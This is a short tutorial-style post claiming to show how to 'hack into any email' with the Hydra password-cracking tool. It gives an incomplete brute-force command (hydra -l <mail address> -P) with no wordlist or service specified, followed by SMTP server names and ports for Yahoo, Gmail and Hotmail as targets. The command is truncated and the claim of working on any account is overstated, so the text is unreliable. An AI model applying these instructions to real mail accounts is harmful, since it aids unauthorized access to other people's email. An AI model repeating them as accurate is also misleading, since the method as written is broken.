Type hydra in kali terminal or in terminal in other linux operating systems whereever hydra is installed. After you enter hydra and click on enter, you can find information on how to use hydra. As per this post I will show you command to hack into any email.
hydra -l < mail address> -P
Below are port numbers and server links.
Yahoo
Server SMTP.mail.Yahoo.com
Port 465
Gmail
Server smtp.Gmail.com
Port 465
Hotmail
Server smtp. Live.com
Port 587